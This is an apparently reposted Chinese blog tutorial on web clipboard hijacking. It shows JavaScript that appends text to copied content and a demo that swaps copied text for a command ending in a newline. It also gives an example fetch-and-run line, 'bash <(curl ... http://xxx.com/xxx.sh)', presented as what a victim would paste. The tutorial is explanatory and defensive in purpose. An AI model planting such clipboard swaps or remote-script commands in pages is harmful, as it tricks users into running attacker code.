网页复制的剪切板攻击

2024-03-14 09:38
文章标签 网页 攻击 复制 剪切板

本文主要是介绍网页复制的剪切板攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x01 网页复制背景

对于我这种混吃等死的菜鸡,干活全靠Ctrl+C\V,但复制代码下来之后会出现一个问题,就是小尾巴。

在这里插入图片描述

0x02 小尾巴的实现

小尾巴实现demo的如下:

<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>复制网页内容自动添加版权信息</title>
</head>
<body>分别复制到txt和富文本查看效果<div id="answer">测试数据1<b>测试</b></div><br>   <p style="color:red">测试数据2<br><span style="color:yellow;background-color: #ccc">测试数据3</span></p><script>/**/function setClipboardText(event){event.preventDefault();//阻止元素发生默认的行为(例如,当点击提交按钮时阻止对表单的提交)。var node = document.createElement('div');//对documentfragment不熟,不知道怎么获取里面的内容,用了一个比较笨的方式node.appendChild(window.getSelection().getRangeAt(0).cloneContents());//getRangeAt(0)返回对基于零的数字索引与传递参数匹配的选择对象中的范围的引用。对于连续选择,参数应为零。var htmlData = '<div>'+ node.innerHTML+ '<br /><br />著作权归作者所有。<br />'+ '商业转载请联系作者获得授权,非商业转载请注明出处。<br />'+ '作者:test<br />链接:test<br /><br />'+ '</div>';var textData = window.getSelection().getRangeAt(0)+ '\n\n著作权归作者所有。\n'+ '商业转载请联系作者获得授权,非商业转载请注明出处。\n'+ '作者:test\n'+ '来源:test\n\n';if(event.clipboardData){event.clipboardData.setData("text/html", htmlData);//setData(剪贴板格式, 数据) 给剪贴板赋予指定格式的数据。返回 true 表示操作成功。event.clipboardData.setData("text/plain",textData);}else if(window.clipboardData){ //window.clipboardData的作用是在页面上将需要的东西复制到剪贴板上,提供了对于预定义的剪贴板格式的访问,以便在编辑操作中使用。return window.clipboardData.setData("text", textData);}};document.addEventListener('copy',function(e){setClipboardText(e);});
</script>
</body>
</html>

其实就是在剪切板的内容里加入我们的信息。这里写了html和text两种文本。
在这里插入图片描述

效果如下:

测试数据2著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:test
来源:test

0x03 浏览器插件消除网页小尾巴

那么我们怎么消除这些烦人的小尾巴:

1.手动禁用js
2.使用浏览器插件

手动消除原理:禁用js。

打开chrome开发者模式,在Event Listeners中找到copy中的article,点击remove即可。之后复制就不会带上小尾巴了。

在这里插入图片描述

自动消除,使用浏览器插件。

这里安利一款chrome上下载量很高的插件 Enable Copy

在这里插入图片描述

0x03 思考攻击场景 ?

网页剪切板攻击场景:

在网页里copy 一段shell 代码 比如:

pip install frida

但我们最后一复制实际执行如下:

bash <(curl -s -S -L http://xxx.com/xxx.sh),而且还TM的自动回车执行了,血妈崩。。。

0x04 网页剪切板攻击 实现demo:

和小尾巴一样,在网页里使用js代码,改变剪切板里复制的内容

<html><body>Copy the text below and run it in your terminal for totally not evil things to happen.</br><p>echo "not evil"</p><script>document.addEventListener('copy', function(e){console.log(e);e.clipboardData.setData('text/plain', 'echo "evil"\r\n');e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard});</script></body></html>

关键代码:

           document.addEventListener('copy', function(e){console.log(e);e.clipboardData.setData('text/plain', 'echo "evil"\r\n');//设置剪切板的内容 e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard});

clipboardData.setData设置剪切板的内容,将原先的not evil 换成evil,并加上\r\n直接在shell上执行。

0x05 真实的攻击案列

供应链攻击切换比特币的地址

安全建议:

不要引入外部js,有随意被修改攻击的可能

文章代码在github

0x06 文章引用:

https://www.hluwa.cn/?p=137

https://blog.csdn.net/u010071211/article/details/82821277

https://www.jishux.com/p/5417670518ebafe1

这篇关于网页复制的剪切板攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/807997

相关文章

使用Python实现获取网页指定内容

《使用Python实现获取网页指定内容》在当今互联网时代,网页数据抓取是一项非常重要的技能,本文将带你从零开始学习如何使用Python获取网页中的指定内容,希望对大家有所帮助... 目录引言1. 网页抓取的基本概念2. python中的网页抓取库3. 安装必要的库4. 发送HTTP请求并获取网页内容5. 解

Python使用DrissionPage中ChromiumPage进行自动化网页操作

《Python使用DrissionPage中ChromiumPage进行自动化网页操作》DrissionPage作为一款轻量级且功能强大的浏览器自动化库,为开发者提供了丰富的功能支持,本文将使用Dri... 目录前言一、ChromiumPage基础操作1.初始化Drission 和 ChromiumPage

通过Python脚本批量复制并规范命名视频文件

《通过Python脚本批量复制并规范命名视频文件》本文介绍了如何通过Python脚本批量复制并规范命名视频文件,实现自动补齐数字编号、保留原始文件、智能识别有效文件等功能,听过代码示例介绍的非常详细,... 目录一、问题场景:杂乱的视频文件名二、完整解决方案三、关键技术解析1. 智能路径处理2. 精准文件名

web网络安全之跨站脚本攻击(XSS)详解

《web网络安全之跨站脚本攻击(XSS)详解》:本文主要介绍web网络安全之跨站脚本攻击(XSS)的相关资料,跨站脚本攻击XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本诱使用户执行,可能... 目录前言XSS 的类型1. 存储型 XSS(Stored XSS)示例:危害:2. 反射型 XSS(Re

linux如何复制文件夹并重命名

《linux如何复制文件夹并重命名》在Linux系统中,复制文件夹并重命名可以通过使用“cp”和“mv”命令来实现,使用“cp-r”命令可以递归复制整个文件夹及其子文件夹和文件,而使用“mv”命令可以... 目录linux复制文件夹并重命名我们需要使用“cp”命令来复制文件夹我们还可以结合使用“mv”命令总

Linux使用dd命令来复制和转换数据的操作方法

《Linux使用dd命令来复制和转换数据的操作方法》Linux中的dd命令是一个功能强大的数据复制和转换实用程序,它以较低级别运行,通常用于创建可启动的USB驱动器、克隆磁盘和生成随机数据等任务,本文... 目录简介功能和能力语法常用选项示例用法基础用法创建可启动www.chinasem.cn的 USB 驱动

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

禁止复制的网页怎么复制

禁止复制的网页怎么复制 文章目录 禁止复制的网页怎么复制前言准备工作操作步骤一、在浏览器菜单中找到“开发者工具”二、点击“检查元素(inspect element)”按钮三、在网页中选取需要的片段,锁定对应的元素四、复制被选中的元素五、粘贴到记事本,以`.html`为后缀命名六、打开`xxx.html`,优雅地复制 前言 在浏览网页的时候,有的网页内容无法复制。比如「360